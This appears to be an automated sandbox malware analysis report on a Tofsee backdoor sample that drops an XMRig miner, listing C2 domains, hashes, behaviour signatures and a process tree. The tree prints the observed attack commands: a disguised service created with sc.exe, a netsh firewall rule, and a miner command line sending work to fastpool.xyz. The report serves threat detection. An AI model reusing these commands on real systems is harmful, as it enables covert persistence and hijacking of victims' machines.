Analysis

  • max time kernel
    159s
  • max time network
    177s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2022, 02:12

General

  • Target
    file.exe
  • Size 228KB
  • Sample221022-cmvsvsabfn
  • SHA256 b6a267b5e52bcff797dcaa4d416c61c4b06c96a42a2d7a17e060f9674d71086c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2432
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\msmztbia\
      2⤵
        PID:3256
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yoqdumx.exe" C:\Windows\SysWOW64\msmztbia\
        2⤵
          PID:3532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create msmztbia binPath= "C:\Windows\SysWOW64\msmztbia\yoqdumx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description msmztbia "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start msmztbia
          2⤵
          • Launches sc.exe
          PID:2944
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4048
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 888
          2⤵
          • Program crash
          PID:4236
      • C:\Windows\SysWOW64\msmztbia\yoqdumx.exe
        C:\Windows\SysWOW64\msmztbia\yoqdumx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4052
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3688
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2352
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 520
          2⤵
          • Program crash
          PID:4680
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2432 -ip 2432
        1⤵
          PID:4260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4052 -ip 4052
          1⤵
            PID:1496

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                yoqdumx.exe

                • Path C:\Users\Admin\AppData\Local\Temp\yoqdumx.exe
                • Size 12.5MB
                • SHA256 91e787e80c2acbbe29d0cb67e234e186e21d185c7dfd65099ff80da6ecf2055b
                • MD5 SHA1 SHA512 SSDEEP

                yoqdumx.exe

                • Path C:\Windows\SysWOW64\msmztbia\yoqdumx.exe
                • Size 12.5MB
                • SHA256 91e787e80c2acbbe29d0cb67e234e186e21d185c7dfd65099ff80da6ecf2055b
                • MD5 SHA1 SHA512 SSDEEP

                memory/2352-174-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/2352-179-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/2432-144-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/2432-133-0x0000000002CB0000-0x0000000002CC3000-memory.dmp

                memory/2432-134-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/2432-132-0x0000000002D33000-0x0000000002D49000-memory.dmp

                memory/2432-143-0x0000000002D33000-0x0000000002D49000-memory.dmp

                memory/3688-155-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/3688-161-0x00000000021A0000-0x00000000021B0000-memory.dmp

                memory/3688-170-0x00000000021E0000-0x00000000021E7000-memory.dmp

                memory/3688-158-0x0000000002190000-0x0000000002196000-memory.dmp

                memory/3688-153-0x0000000000B20000-0x0000000000B35000-memory.dmp

                memory/3688-154-0x0000000000B20000-0x0000000000B35000-memory.dmp

                memory/3688-148-0x0000000000B20000-0x0000000000B35000-memory.dmp

                memory/3688-167-0x0000000007900000-0x0000000007D0B000-memory.dmp

                memory/3688-164-0x00000000021D0000-0x00000000021D5000-memory.dmp

                memory/4052-152-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/4052-151-0x0000000002E7D000-0x0000000002E93000-memory.dmp

                memory/4052-146-0x0000000000400000-0x0000000002C27000-memory.dmp

                memory/4052-145-0x0000000002E7D000-0x0000000002E93000-memory.dmp